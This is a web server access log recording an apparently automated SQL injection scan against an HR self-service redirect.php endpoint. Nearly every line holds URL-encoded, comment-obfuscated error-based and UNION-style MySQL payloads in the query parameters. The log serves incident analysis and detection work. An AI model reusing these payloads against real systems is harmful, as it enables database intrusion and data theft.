100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x306a3273%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a4e4d31%29%29x%29%29--%2F%2A%2A%2FNsDz HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x306a3273%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a4e4d31%29%29x%29%29--%2F%2A%2A%2FNsDz HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75366436%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x517a3146%29%29x%29%29--%2F%2A%2A%2FYWqx HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75366436%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x517a3146%29%29x%29%29--%2F%2A%2A%2FYWqx HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x74337a57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53797176%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F5fgG&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x74337a57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53797176%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F5fgG&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x48616c58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556c3837%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FPE3g&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x48616c58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556c3837%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FPE3g&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x55425243%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6133446f%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FhypF%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x55425243%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6133446f%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FhypF%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4368774d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d556473%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fnq1s&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4368774d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d556473%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fnq1s&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x52726677%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65796145%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fv4gG%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x47527130%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77483661%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FtUbU%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x47527130%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77483661%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FtUbU%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x68476b46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43434543%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FFK7q&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x74337a57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53797176%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F5fgG&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x48616c58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556c3837%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FPE3g&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4368774d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d556473%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fnq1s&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x7850736f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7237686a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 365
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x7850736f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7237686a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 365 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6745574c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64506b47%29%2C6420%29--%2F%2A%2A%2FBkRJ&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6745574c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64506b47%29%2C6420%29--%2F%2A%2A%2FBkRJ&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x45657469%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41504635%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FI4qs%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x45657469%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41504635%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FI4qs%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b5a4433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41504658%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FQsuW%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b5a4433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41504658%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FQsuW%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/ HTTP/1.1" 200 365 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/ HTTP/1.1" 200 365
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x64343764%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54363342%29%29--%2F%2A%2A%2Fadc3&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x64343764%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54363342%29%29--%2F%2A%2A%2Fadc3&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x714b7a62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50767066%29%2C6420%29--%2F%2A%2A%2Fganx&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x714b7a62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50767066%29%2C6420%29--%2F%2A%2A%2Fganx&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x36695472%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52384f6c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FokAp%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:31 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x36695472%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52384f6c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FokAp%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x66476b7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x495a7279%29%29%2C1%29--%2F%2A%2A%2FMzWD HTTP/1.1" 200 365
